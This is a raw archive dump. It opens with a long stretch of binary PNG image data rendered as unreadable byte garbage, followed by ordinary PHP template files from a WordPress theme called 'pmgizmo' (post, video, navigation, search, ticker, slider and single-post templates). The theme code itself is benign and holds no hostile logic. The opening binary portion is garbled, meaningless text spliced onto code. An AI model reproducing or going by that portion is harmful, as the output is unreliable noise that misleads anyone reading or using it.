��	�Q4Z1d���:T�~r�?����/8�ϯ~�Y7jC����ANk�B��h�X��,!WGƌ�|o�߮`e!�$�8¶b�9<�:6���N���x�Oό�N��������Ud��d,������,<D�W��E$�j��>� ��L!	�$�����`�����*�
8�q�䷿��oD""HY3��r��'&VG���W攂�$2�D���0MӲ���9oh�or���� hv�7�c{wONNm�8082=��-l}�}�>�� X��by�M�N�e2ˇ�"gz�����}���t�o~綾�ϫ�0�ѡ͑Fγ_�T
@���Y���G�)S���L�~݋J�Z���3�Xڜαь�+f�YO�R�QB�*����+t�W`߯�YYcD�uêf+��C��Ińh�g(i��Z��c�s���]w���0��Ծ
J<2[�Çw�#@ Etn�&S�q�T�i�����z{�N$��'!B�ԛMƽ���LK�@WOo΍�ӳ*���\�t�jiZi�(�D+�TS��fCv��OvE�J�u�0�Ǜz�=����䵯��cx4r�݊����%�3]g���O����>v�IBBe�$H�de���{
,gP�Z��>�
3HQ7�~e�X\@�C��~:���HHA��nG�+���I��l~|n��F��0��x,+^vװh���(b,��G-A
�hii�*��r���\w����'��-v<���#��3S-�7�u�d�sA�X�E�V���@Q+�G��)7oȖ�����L����[���#`Ɏ��Ө�g���~������U���m[�&��g3r�R%�d�$�z�(�
�%U4�9�_S�[��R
��uc�O��Y��j��5��X����Eײ�9e�V��5pB�acF�uL��y!Q�/E�!Q6��嚩����l^	܍�T}����q˲"wǶ�\.w�@G"q���A(8��uw.��=�Y�vw�?�Ua��ld�X-��K�Ŗ�C�|���#��Y�=RM�G������=�[b	���~�߾v��׿�߹�"]K���,��8�a(�<�s��-�y@U�D�!ZΚca炵�G�2r�TgmQ#S�<u�
CmT�|?\˒�ISDu�C�%�bH��Hb̵6�
cF
5����jo(U,J�3F�;f�LH���T:�EW�U
%lێ���f� c�����џOLN�&����1H反��9��ni
y�y�4Z�F4Ǥ�?W��bk~�!;Z�=:����)g@�
��Nm�dz���w��?��?~���\p��Q9�*���n��#G���Àj6�:��n�HC�A�h��΀�7��Q��\ܛd�9/��J)H����!b�@�	HP0aŭ�eAJC)R�Ғ�lY�RH)��#�����[9$%%�C"��ZUU��1�J�"�X����u��_�?"��B6k=9G�����;��2�����K��]˚�r��R4�q$�V��kp����;	
*�G�}���%?��_\s�K�<S[*��g�������a� �&+��1xjBmOx,�҂;�6\w��R5�A�,x��)Q��^���nm�R��ut�s�B���N8%-��09'U�QMRG)�*S%a��3ʧZwV�H�!r�舐���\�*r�r]�4M�uljz�r�_�Jn<z�c�f?�AANO����5[ۄH�[�X7�ZF�����:��|�n����'v�4,�E���=������?_��+�9[�+��grz{{�B��ȈU���ɞv�D#2���x�h����U�	cT�P�XjH�@9@+���
�նS���i1��u����g+��U�1$g,��ap!��(��B �1��͇:���+�l��nUD8����*���M5�FDv����r�|���7�kk��ȑ��R4�Q`�/���4��X\��'�.a(բ6��iT��U�G��ay���x�N�K��d5hh��x|Sw�97�Ϳ�9Z�p�b1RJ�<�`��g>��'������5���	B�LS)aKqP�1���i�ڶk��e1�c�1�4���e�����t������`f�����턾�+�L�S���ɷ�O�Lol+���֕N�ydnBౚ``�]+@LE���BjU)��b�E}qjݝ~�xC2��С]S�YF�uw����<Vs�a.G]ݬ�CI�o8��i����[�.e��
��{T��
!����?
�7�j��6�t�98x�@���
��ys[��Q9�*�J%�0����AFy|g<�O헶�.Z+xT��JZ@����)8�g,�y�e9��,+fY�a�
]�F�s��0�q��0�%x��(����_����i�h�%6v�/�$�tf_�!��1��%pb9�(H��X4^�Q-V�5Iȼ�0lmm����"�3Փ��ضm;���8�|�4͋�8c��ԍ���!\��Z��ֶ��8�uO�X,_X� B5rTe����E�7j'JK�F�j�tfe�AT��&�*�4�I�����?��N�eA0>;M��3����]�e`@�%��g��l���e�Rj��D����E}tV�jX�2v���J&K1#�bY)�pM��<fی�$|d�#��F��bA2��"�8���ʇ��(܏C��%7�_:�H�@����NC�WQ^q�Py�T(�x<1::f�F�ѩ2��7UE5NE��3���d�19�1�`Ǩ��{�K>|�_�m���ߣ:;��#�E!O]=��J���ڹ�jy�b�J��[-�,H}5�V�[�w+��a劆Z�FU
��2u�f�mw�b�ww#~��s���y�/}׻��;���{���XX�}	~�tꩧF�����%{b���Y<�
�U�/J`B�Dc��2͘a�"�X�m�Qp�.�c������a�DBJe�3w3I���zP��0X�L{���2w��
��O�0�H)��aF��w��k��S�U�-�R2���e
:�]ݠCK(J�0�b��m۱X,�e��\.g�e۶m�i��C�#X8c�3�X������.���x|lA�Ơ�F(=����H!$����V
v��=Z�I+Ҩ�CNP}݂�Zpp\"HF�mw���XoK�@gGW"���c��s�Yg��/?��}{v�Fgf���~�G?�Ļ�u�j���lӹ���s�\��(� �0dz2x�+�,ʍA)��
�8Op�i;	�HXVk��s�4����]�Wq���Z�B�1�H$fff8��bI	2`mD���s�v�7�F��׏��J��1;W�MYw?b����?�I������GdQ)H!-ˊB|��S���ke�f[[[,�|˲���{��~�g��SR��U��=��#��P�dFD�b��@{���aB����A��ږߤ{�Dܫ�V4�( ���[KTL�Ø
�D����y�4{��x������-���ZZ�1L�����d�əYU�6ut�O��K"ݷ{��?��׾�%����i3���[/��"���ދ.���oTR��d�nѴ����\�""HiR��fZq�HZVҲZ��um�4
��m,r��K�*`j���bFt�z�*��#G&>�08c�.���SPY��(
Tj�ͿJ���|W%\�yк�Ҷ�dE(Vc�g8��Y)�HBpΣ���g�jp[�U�?]׵,��݉ܝW>��C��ࡣ�B���?;v������0L�S6��>�j����~�h-9�V�2�\����K�k��0��/���Nd��H0c�s	Q���J�VK"іL%�x<O$��eۖi1�H!�B�05;7����80::63=������$�,�$8����u�Nٴihݺ�v^��y���� |�7M��o�n�DF�ȥ�*�گ�ϊ9�rj���� ��X��;Nʶ���Dµ���ضa#:�Z��&-æΛ�EK�w�Q���U7��P�HJ�`�	����Uj�fhQ�L�W�̼�l��l�,#���85���Z2�F`rZ)!�2MK���ҵ:��D�2M����Z��P�s꩛{{o~�;&'d4���cG!$Ls�sxE:r�Z�dO?Lk�[Z�̨����Y����FN�{���c�R�UP��R��w����F��E�&r�83
�2�D"��b�D"��긮�ٶ�9gD�~6������:0::2=}p|����l��+�[V	�am��:s``Cw���mۺiӆu뺺�����y�(�l"�aA�Pرc�[����繹|6�������}��HUF����;��V�]����'\7ẖeE�RF��Uu>f=cj�2
��Z�f1]jSeL���w����T���]Œ����p�D�E��N�A�+��>-�qz��TRH��e��>��1���:U_Q4��Z��ec�]��mڻ����M�a�K7kn)M�hv��s��_�����-�U�€k�U�lK�t���Q����FONĉ��s�9s�✷�øÙ͘͹˘-k�k�87Ӳ׵'�H��q�qױL�3F�*��鹹L.lb�������ё�Lz�X(y^�}�J8�Y6l�����w�i�
��
twuE������yv�&��#��RJ)��{�{}��淬�)Ƕ��Ť�_�ַ��/M��ju���N&7uuu$�m�d2K�b-�D�,{-c�JN�������D���:��>Q�}���UtM���R��}>�{!���%��,Ć$5��Z��n@�z����
Tc�y��,]DPݵS�@ԅ�q�X,�n.�+
l۶����?|��T�
r�s���T�Y�;'.W��xO[�z.�g�1��$�D#��6�cw�s8s8��8�9�w9�9瑣;��1F��0�0
�v۶LӲm˶m�4
��DR�0�����������쾱�C���\�0[,� ����dr�
�[�n�����������7jYT]-U?��1m�4r�=�Zg�6J#��|dpp�_�
�ƨ��dYJJ�
z�|L��x�5���9�����������麮c��z�֎W�~�+S�פ�w-TjG
���s�z[.Z��Ŧ@�2����`�%]��8Q��V�՟�*A��z^S�<o�翸��݉����{{����ݻ����t��ct����gy>�zdW@5�$�(/�?T��D&1N�(‰L"���X��-��L�m�\�,�S��pn0f2fpn2���R�’�vtM#��Μ3��0�[�i�i<r�Aa�~��dF&�&�sG&&�K��gg�!���쵹�Ɩ�͝�C�����;��Sɤ��Z�j�s^m��a���lSՔW��e��~�~��.������GFF&�
LS�in��lo�ni�mk�n��������ض�8��(?Tu_�|V\�/��UXw{�?�p��'u�M���=H�
!���U���A�a���TD�Y���R����Z�c�[ujeF*�r]7�g���B�%�3����fF�a�Cw"1!��!�I����Re�l� DdE7�8���1��f�`�`d3f39s9�snrn2fT�a0m��erD�+���I�%U�D^1g�����ʠ�Ns^��1"HU�J���L�0:=shr������x&3<;�
|%!�m�d2ٓJ���
vu
tw���D"��&#7=L�u7��'�u��yv�1fY�a�R�HCCC����a899999I�K)c�����n�)e��M��b��;��F,fCd�kn�q��o�q�����CS{;r�1�ڐTt˲��$��P��D{�51��$c�D����vKE��4��S����Ew��l>�߲q�{�����y챼�����S�Pמa��3���E(gD�?��Ժ��[��I�ەGW~Z��9g���@�ۭ��RI)�[<Z)�a._�򓳳�GG���OMH����DH�Dܶ���t�b���;::ZZ:ZZ㉸UilAD��p�0"��:ߨ6F�SK#�9�Ȗ5�	"�n������͛�?���u���KCcW��\�mD������X�=љ4L�z9էkxzU���Y,Ǒ���`u��U�kbL�8\R��\8��R>|ߋ��Z���j7�J3��Eq���W\p�澾o���O��*!���!f����9e/���
d�=�����[�"������xc��~e(}ߏ>�e�0ƉLӌ��~1_ȗ���̡���ٙ���}�S��\��US�D�r��mwݡ������d�5��R��NL4#��1���֫�49ZX�։sn��	y��ՋI��S{��UqReO5�b`���(�=img���ޓ1V(b���$)^�ʐZ�����i}���M![/y��A�K�vܵk�ƍ}߯�^���2NL�`)�D7"�����x��<��S�l`��_�����@���d2�ܴyS(em%;c|A��-tS�n>�RIa1ƌ2Z"�"E(�C���BA�#Ñ[LD �'�JA��\>?�IOg�S��ɉ��3���\��.��^���%
ޗL
&�]�x{,����R�X,�E�t%rb����c���sht�L#G��j��j]�:�,��Բg�?����9OU�EG�.��_�Q�AJ��:WFE�j~b�к{��6��Ԁ�W�s*��g�f"Ѿ��'���jÕųCK�5�2��޳�i4�)0M�͗_�}�Ư�qǞtMfw����Z�-��CH}u{����ֻs�h�BD�a�QȫX(A�~��Uܗr2&�YTR��$D�P��ӹ�T&3�N���d�r��L:�2�h�S�M���5���nOKKk<s]�q��##'�֛�2&��3ѝ5f4r��Aԩ�;UT)RK����h�a��a�:��v�g5���)��1@
�>L;N�(�}�/�V�6����SڠXB�C�� &��msn
A�|azjjdx����������8Ka����H&���F}���m��?��_��GO<+�!�}���g������
�ښ���W*)BQ(K%�/+?�')U�5�FDRHQ��T�K���驩\n&����r��l��*J���q��q�m�ն���u{[Z��8N5�_-�L�CS1���J�j5��F��3<�Z5�U�򩍪��J������
�#U�l�}�:=ѳ�aHD���R
�5fL��(�z�m)asg{��S�I"N�BR�C��hY�a�R�|�0;=595�eY�D������*�JA�F�N��͊E���X,���#w�}o|�~�?��H6�ŒQ"�N�s�眵c�u�o2�b�T��%��{�'��v�����R*%����\��/�
�7��Kg抅css�l�+e=/HR`�E��,�춭v��t݁T��u[���V�P˘jοJ�Z��ͪ��~�x߱�F��3<uA����� [�CӰp�.�VEK]�BD�ju\�����]��-�nqCc]�O��"{��A}�J	)CE>d`P1�M��B�Rɛ������}߲�x<���v�駙��WE͸�����v3�iH�ZEK�X,���sOY��+7��ݻ��Kfw�<�9rd`h�G�</�Lz��y^>��<_�0C��	�h�R��B)�E�X�������c��l�8]�K���9��x%Ժ/��l�Ic��q�m�/��M&��ۚHضŸ��j��jkת+S-3�nTݗZ�hW�gC�R�*h�BK%c��φ�s!��՞�7u	�h�?;7��� W�
1�=�ӑ�#Y��!?�7�
��`�
J֪������J[
�`nnvff&��~ɶ�1---ՊA!V3cx��u���21��X*��|B�[�7�<�ˑ�P�J�W%��_�m�Ń�}��uww��2�)�Jv_�A��R

�A:�O�J9��dƲٴ�K���g�R�� �8�DɈ�Lq�bZ��X"�����-�X*���<�S��Z��¦֡��׌���z��gy��r�~�w�iT���r]wxx���0��)����w���ck���CQ\�B@0�`Yf��fgg�&'��t.��m���=�L�b1�0jふE��e�/h�+2�<a�J�B��;r��n��ݻ!B��9�R8��/|��M�֭s��R�(���a�A]�Bd</�3��Lz�T�+��s���"D�8��C��ۍ!e�i�Y��֖�D�;��kowm;J�ca1dݔ�*i�4uq��W�-Ƶ4r����i���Pݦ׺DQ���x��Gy��_>;;(E.`*� �F�1D��
�B>�M��Apn���%��x<1&���+V��u$Z{l�xQT{���>�R����7�|�?�짓�|e�h9�ue[;��y�=ם���)�a1&�ْ��R)]*M��3�b)
HYn�M��Ky��	�4�
�xO<����R����mm�m۶]�]��֡�¦�4UG��ZI�4r���Чi����{l-u�j|����󡡡l6ٵ�`1Ɗ�b>���K��0t'�G��RATw�.�˧��5��4iWQVа�`�9��}��׾v۞=�J��XL��C)AW���q�^)�yE�/�.DP
�@l~�xy��2��rݍ�d_*���g}WW��zU�a�j��J���HUW�Vջi�h�hi���m�֐4�<�aH��+�u<h��u
������̌�2溉D����q��Za�(V�_���V��s9���A��0rڊ��W�����"��"'gP�8S&Me+Le��t��ZZ�ZZ׵��9��������%���d�U�>�f
�׎M�t����:��i��Y�Z���mۅBaddDJ��;;;]�%�ȉ�
��H���ͻ8���og�4�o]"�4�﾿���޿A�9�l�dD�2�@<�����u�C]��ݝ�=���X��uT7�pz�b��Aji�hi�`�`٤Ί/�j��0��i��;�2�i�۱F/���7�Xâ�z�̷���{�
a��"��q���3���ٰaco��7�tu%���Zā�s���{���ki�h=�n
��"oV�gC�4�MC�/l�׹Y�n�H�`�LO�oι�87�r�~��uO����زnݩ7v�����վ�Z�P�DK#G�Y���Y?�1K�gyج�˲L���FҚww��u��'��G��~��������zv��y-��&���:kqt��X�JB�s)w�!Kj#f6Z9Z�~�,��l��=h"�V���	jGq���vw��Њ�M-���4��˹Y��Cj�f����]�&ݚe~{B�:ˤv�⍖�F��v}VU[�+u�Y�N ~NH׵&���8--�-M�f�p�՞�,_?ݤ��&bk3Z9ZZkr�p�'�|`�98���ۡ@;4Z9ZZO)���L���Y~v�qQg��oZZ9ZZ'BX����?֤-��qu�\��Y3uP�������������Ԥ��{6�iii�hi���)���jii�hi=�it����--�-----�Ո�K��������З@��ǎݷ{7�G����nnx��_q��͛\|�9���i=�zx��'�n���=�}�{��?�M����=-ҁ5-|�[�a�����v���;vD�����y����>���/8��'7�u���������K�<��^�7D7^���z��Iz�o_��k.�������{-���o��[޼v�ӏo\��v��׿x�Ə�r��:���{��}-�~���G����"Z�(}�߼r���a9
�/?��o>_B�X�ɮ]��7��έ�h�z��o=�0��m��~�uM^-����������չ5
u�C�~��ݾ�}�����L홝�ɮ]�8:?ٵ����o��k\-se������o۵/��I�.x��;������?���]6��O�+���?���x��L7�u�9׿�$��eO���7�u���h�h���O|���赞�С���w�}��I��ľ�s�g����߽�s?13�?09Z���{������sV?�{�|��>s>�/��G�x箧���x��#������;�ܲ��������޽�X�gȢ������?{SJ{f�6���\+-��%y��iZU���{��տ���ޜ����Վ����u4r�4o�V�}�����ǎ=-Q�:��C��Dz�_|B�u4r����j�<�U��T�wܱ�����_���K��N�M�����Z�p��з����
џ�7����߳��u��3;���_�A=Q�r����k��֚�T,��_@��?Q��_Wk|�wǮU'�-y"�6��/��}pE�������8���������ް�~�P�ebf��C}�o=�.�?���qZ���]���.���s��}��/��~�k^���F�֒���}�0X�7ID�k.�����/y�ϵip������U��۶��>33��_��2�ż��?|�z������\��w�֟�|W~�І~O����^x�Y'��T��Y�/Zj��������[khw���g��}�mX�(X{v��E�6��^X�_p��_���|.\ՓǛ���o�nu���/?��?h�N��|���_��Z���k�^���ퟻ�
k9�3��B#G뙨��x��p��;���q�‡>��΁c�^�Ꮬ������r���%*j��6���ʝ'�]c��f<���;w-g�|}��F�sW�bq�.���U����G�9��姑7���O�����.�kQ�u�җ���]��4���o8�����e�eg����m߲e-u�{�mڼ�Q:��,ԝ<��#\:4���u�u����紻��:&���޽'�E�X�Dz�+�X�
�[?�?����j�o}�'�yx��5��g�������n�Z�
u������}?5r�h�#���o~�E�{�-[Vg֟�:����Q,tbQ��+._]����zۮ�O�x��/�yR�����k<B*o�n[����RÇ��9o�sG:��lDNF�|����ڮ��C=�=y���K/Y����bQ���-���/OŚ��n��Y�=��y�����P�X\{���
�<�mW��ߞ���[���ڍk�o?���=��#�uu>5k���Q#G�Y����$�V�[~[x�U矬�Ho���'��'ff�i�;�LF��y����X�9Λ�(hk[�S��_p��(�th�d��
O�;�d�mݪkk�.�Z�^����������ҿ�����[�Zo��'k[*�l��U���D��ë^�[�H��^���o���?��[��a[�2��n�,�Ժ�X#GK�ɛ�o�}�x �}ͫO�?��W?{P��(n��_�����5r�V�ގ���	���S=Qz�����ҡ���7�^��?c���Nꎟ�������:�_��Zx����M����78�+����?e0X��0:9Ք��_���d�-��琮ݾ}�Gx������6_,^��O�@�<�/j��+�Z���Uh�i���MF�ҹ�"�tX��Ѫ7:眵�/��O�����]��2l����m��_��,&��wR?���Yk+�[�j��"�g��=�5�\~�^��?���*�x�}a�F���7�n�����!o��&��/�XV������o;yK�ʝ;����?�������W\�{zj/G��:w�>ķ~x�� �\vY�-�}�k�v���͗��Ϩ�;v���l��S�u?~��k���WJ@8vl�m��`�F��o�־��f ����%���uq;vby�\�.?"�dx�k��̎��o-����9Z�M�r��5::_�s�wn���{�|���k�/z�ʺ�ak�n����V�-����5_����|wGgbf��a���oz�6,9ZKF*ֲ΍��/��_��,�xx��U��_���N��{��{^��g,o����|�*��7_�t���^s�Z�'�z�П���o��������o��X��l�.x����_�䮪�ꦛ�ꦛ����
vu���s�-��?���_��ũ�ǎݷ{w��k�,��#�%�W����8l�w~�C<�o��w�]=�'�
�x�[~}o������VgW�����s�~�/�k�E���[u�S�x�\Qw{���|�Z�~��]O�ë^q�e�՞���^�}{3�	Z͈�R�*<[�/_�??���}�T1�	NS�j=�	iEz��9�����Hm8�x[�|��7|�-o^�"��O�;��<Qm�N�'��i]������+_��NT(i�����}෫�Iå�	�:�譯���k/��i?�����ƞ!W8Z!iޜ@�\γ\�o��'Ol��U��il>��Tw{{��B��p�3��‡>��R���ki�h�@�;��O�n�����sY��W��{>�Ի���o��x�_���i���U�v��;Q
�W�n��6�|.��}��
=�6���5�y�3��8�_~�۾��x�F�֚�����ڛ~�>w����O���ӨfJҟ���y��W���\*]�}�C��[]�v���sk�o~��{衛���W���ި���]�_p�ֶ�eJH���>�n�w��ڋ/�ڏrR?�[�Z�ϻ�L�9Z���`ǎv�ӷ��Ov�ZEG���+.���Ktw�g���ﲺM�O�6
~����k�����q�Mõѫ�?_�F#G��*�QS�o�6�5~�?~���6o����z��ʝ;�~�
�����*���~�e���.{x��'��߸��V�ǵ�SXK#G�S�	u�e�z������[�NE����n\|�9:[�_^���/m�G��/}�o��ݾe�-[�Y�q����ڿ/���m�UgN\�F��ZZZZZO�tŚ�����F������F�������F������F������F��ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ9ZZZZZZ9ZZZZZ�8��t���a�YIEND�B`�pmgizmo/template-parts/content-fullpost.php000064400000000657152223213640015231 0ustar00<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
	<?php pmthemes_display_thumbnail_index(); ?>
    <h2 class="post-title"><a href="<?php esc_url(the_permalink()) ?>" rel="bookmark"><?php the_title(); ?></a></h2>
    <div class="postmeta"><?php pmthemes_display_postmeta(); ?></div>
    <div class="entry clearfix">
        <?php the_content(); ?>
    </div>
    <?php pmthemes_display_postinfo(); ?>
</article>pmgizmo/template-parts/content-video.php000064400000003035152223213640014460 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<h2 id="category-title" class="archive-title">
    <?php printf(__('%s', 'pmthemes'), '<span>' . single_cat_title( '', false ) . '</span>'); ?>
</h2>
<?php
$categories = get_the_category();
$category_id = $categories[0]->cat_ID;
$my_query = new WP_Query( array( 'cat' => $category_id, 'showposts' => 1, 'ignore_sticky_posts' => 1 ) );
while ( $my_query->have_posts() ) : $my_query->the_post();
    $do_not_duplicate = $post->ID; ?>
    <h3 class="vid-title"><?php the_title(); ?></h3>
    <div class="entry clearfix">
        <?php the_content(); ?>
    </div>
<?php endwhile; ?>
<div class="clearfix"></div>
<div class="related-posts-grid">
    <div class="related-posts-columns related-posts-three-columns clearfix">
        <?php if ( have_posts() ) : while ( have_posts() ) : the_post();
            if ( $post->ID == $do_not_duplicate ) continue; ?>
            <div class="related-post-column clearfix">
                <a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>">
                    <?php the_post_thumbnail('featured_image'); ?>
                    <p class="play"></p></a>
                <header class="entry-header">
                    <?php the_title( sprintf( '<h4 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h4>' ); ?>
                </header>
            </div>
        <?php endwhile; endif; ?>
    </div>
</div>pmgizmo/template-parts/content-excerpt.php000064400000001063152223213640015023 0ustar00<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
	<?php pmthemes_display_thumbnail_index(); ?>
    <h2 class="post-title"><a href="<?php esc_url(the_permalink()) ?>" rel="bookmark"><?php the_title(); ?></a></h2>
    <div class="postmeta"><?php pmthemes_display_postmeta(); ?></div>
    <div class="entry clearfix">
        <?php
            add_filter('excerpt_length', 'pmthemes_archive_excerpts');
            the_excerpt();
            pmthemes_excerpt_text();
        ?>
    </div>
    <?php pmthemes_display_postinfo(); ?>
</article>pmgizmo/template-parts/main-navigation.php000064400000002201152223213640014755 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<div id="navi-wrap" class="site-header">
    <div id="navbar" class="navbar">
        <nav id="site-navigation" class="navigation main-navigation" role="navigation">
            <button class="menu-toggle"><span class="menu-text"><?php _e( 'Menu', 'pmthemes' ); ?></span></button>
            <?php wp_nav_menu( array(
                'theme_location' => 'primary',
                'container' => false,
                'menu_class' => 'nav-menu',
                'echo' => true,
                'fallback_cb' => 'pmthemes_default_menu'));
            ?>
            <?php $theme_options = pmthemes_theme_options();
            if ( isset($theme_options['search_icon']) and $theme_options['search_icon'] == true ) : ?>
                <div class="search-main-menu search-top">
                    <span class="search-icon"></span>
                    <div class="search-form-top">
                        <?php get_search_form(); ?>
                    </div>
                </div>
            <?php endif; ?>
        </nav>
    </div>
</div>pmgizmo/template-parts/top-navigation.php000064400000002643152223213640014645 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php if ( has_nav_menu( 'secondary' ) ) : ?>
    <div id="topheader" class="container clearfix">
        <div class="topinner">
        <?php $theme_options = pmthemes_theme_options();    // Display Social Icons
		if ( isset($theme_options['header_icons']) and $theme_options['header_icons'] == true ) :
			if ( isset($theme_options['topnav_align']) and $theme_options['topnav_align'] == 'top-menu-right' ) :
				pmthemes_display_social_icons();
			endif;
		endif;
		?>
        <nav id="topnav" class="clearfix" role="navigation">
            <button id="topnav-icon"><span class="top-menu-text"><?php _e( 'Menu', 'pmthemes' ); ?></span></button>
            <?php // Display Top Navigation
            wp_nav_menu(array('theme_location' => 'secondary', 'container' => false, 'menu_id' => 'topnav-menu', 'echo' => true, 'fallback_cb' => '', 'before' => '', 'after' => '', 'link_before' => '', 'link_after' => ''));
            ?>
        </nav>
        <?php $theme_options = pmthemes_theme_options();    // Display Social Icons
		if ( isset($theme_options['header_icons']) and $theme_options['header_icons'] == true ) :
			if ( isset($theme_options['topnav_align']) and $theme_options['topnav_align'] == 'top-menu-left' ) :
				 pmthemes_display_social_icons();
			endif; 
		endif;
		?>
        </div>
    </div>
<?php endif; ?>pmgizmo/template-parts/.htaccess000064400000000000152223213640012754 0ustar00pmgizmo/template-parts/content-search.php000064400000001035152223213640014615 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
    <h2 class="page-title"><a href="<?php esc_url(the_permalink()) ?>" rel="bookmark"><?php the_title(); ?></a></h2>
    <div class="entry clearfix">
        <?php the_excerpt(); ?>
        <a href="<?php esc_url(the_permalink()) ?>" class="more-link">
            <?php $theme_options = pmthemes_theme_options();
            echo $theme_options['excerpt_text']; ?></a>
    </div>
</div>pmgizmo/template-parts/news-ticker.php000064400000003323152223213640014135 0ustar00<?php
// https://wordpress.org/themes/royale-news/

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>

    <?php
    $theme_options = pmthemes_theme_options();
    $ticker_title = $theme_options['ticker_news_title'];
    $ticker_args = array(
        'posts_per_page'	=> $theme_options['ticker_news_count'],
        'cat'				=> $theme_options['ticker_news_category'],
        'post_type'			=> 'post',
        'post_status'		=> 'publish'
    );
    $ticker_query = new WP_Query( $ticker_args );
    if( $ticker_query->have_posts() ) :
        ?>
        <div class="simple-ticker" id="js-ticker-fade">
            <?php
            if( !empty( $ticker_title ) ) :
                ?>
            <ul>
                        <li>
                            <?php
                            echo esc_html( $ticker_title );
                            ?>
                        </li>
            </ul>
            <?php
            endif;
            ?>


                        <?php
                        while( $ticker_query->have_posts() ) :
                            $ticker_query->the_post();
                            ?>
                            <ul>
                                <li>
                                    <a href="<?php the_permalink();?>">
                                        <?php the_title(); ?>
                                    </a>
                                </li><!-- .ticker-news -->
                            </ul><!-- .item -->
                        <?php
                        endwhile;
                        wp_reset_postdata();
                        ?>
        </div>

    <?php
    endif;
    ?>pmgizmo/template-parts/top-bar.php000064400000001246152223213640013250 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<div id="topnavbar">
    <?php $theme_options = pmthemes_theme_options();
    if ( isset($theme_options['topbar_date']) and $theme_options['topbar_date'] == true ) :?>
        <div class="topnavbarleft">
            <p><?php echo date("l, F j, Y"); ?></p>
        </div>
    <?php endif; ?>
    <?php $theme_options = pmthemes_theme_options();
    if ( isset($theme_options['topbar_icons']) and $theme_options['topbar_icons'] == true ) : ?>
        <div class="topnavbarright">
                <?php pmthemes_display_social_icons(); ?>
        </div>
    <?php endif; ?>
</div>pmgizmo/template-parts/featured-content-slider.php000064400000004406152223213640016434 0ustar00<?php
/**
 * Featured Post Slider
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Get our Featured Content posts
$slider_posts = pmthemes_get_featured_content();

// Check if there is Featured Content
if ( empty( $slider_posts ) and current_user_can( 'edit_theme_options' ) ) : ?>

	<p class="frontpage-slider-empty-posts">
		<?php _e('There is no featured content to be displayed in the slider. To set up the slider, go to Appearance -> Customize, and add a tag under Tag Name in the Featured Content section. The slideshow will then display all posts which are tagged with that keyword.', 'pmthemes'); ?>
	</p>
	
<?php
	return;
endif;

// Limit the number of words in slideshow post excerpts
add_filter('excerpt_length', 'pmthemes_slideshow_excerpt_length');

// Display Slider
?>
	<div id="frontpage-slider-wrap" class="clearfix">
		<div id="frontpage-slider" class="pmsflexslider">
			<ul class="pmsslides">

		<?php foreach ( $slider_posts as $post ) : setup_postdata( $post ); ?>

			<li id="slide-<?php the_ID(); ?>" class="pmsslide">

			<?php // Display Post Thumbnail or default thumbnail
				if( '' != get_the_post_thumbnail() ) :

					the_post_thumbnail('slider_image', array('class' => 'slide-image'));

				else: ?>

					<img src="<?php echo esc_url(get_template_directory_uri()); ?>/images/default-slider-image.png" class="slide-image wp-post-image" alt="default-image" />

			<?php endif;?>

				<div class="slide-entry clearfix">
					<h2 class="slide-title"><a href="<?php esc_url(the_permalink()) ?>" rel="bookmark"><?php the_title(); ?></a></h2>
					<?php $theme_options = pmthemes_theme_options();
					if ( isset($theme_options['show_slider_content']) and $theme_options['show_slider_content'] == true ) : ?>
					<div class="slide-content"><?php the_excerpt(); ?></div>
					<a href="<?php esc_url(the_permalink()) ?>" class="slide-more-link"><?php _e('Read more &raquo;', 'pmthemes'); ?></a>
					<?php endif; ?>
				</div>

			</li>

		<?php endforeach; ?>

			</ul>
		</div>
		<div class="frontpage-slider-controls"></div>
	</div>
<?php
// Remove excerpt filter
remove_filter('excerpt_length', 'pmthemes_slideshow_excerpt_length');

// Reset Postdata
wp_reset_postdata();

?>pmgizmo/template-parts/content-page.php000064400000000572152223213640014271 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
    <h1 class="page-title"><?php the_title(); ?></h1>
    <div class="entry clearfix">
        <?php the_content(); ?>
    </div>
    <?php wp_link_pages('before=<div class="page-links">Pages:&after=</div>'); ?>
</article>pmgizmo/template-parts/content-single.php000064400000001372152223213640014635 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
    <?php do_action('pmthemes_before_title'); ?>
    <h1 class="post-title"><?php the_title(); ?></h1>
    <div class="postmeta"><?php pmthemes_display_postmeta(); ?></div>
    <?php pmthemes_display_thumbnail_single(); ?>
    <div class="entry clearfix">
        <?php
        do_action('pmthemes_before_content');
        the_content();
        do_action('pmthemes_after_content');
        trackback_rdf();
        ?>
    </div>
    <?php
    wp_link_pages('before=<div class="page-links">Pages:&after=</div>');
    pmthemes_display_postinfo();
    pmthemes_related_posts();
    ?>
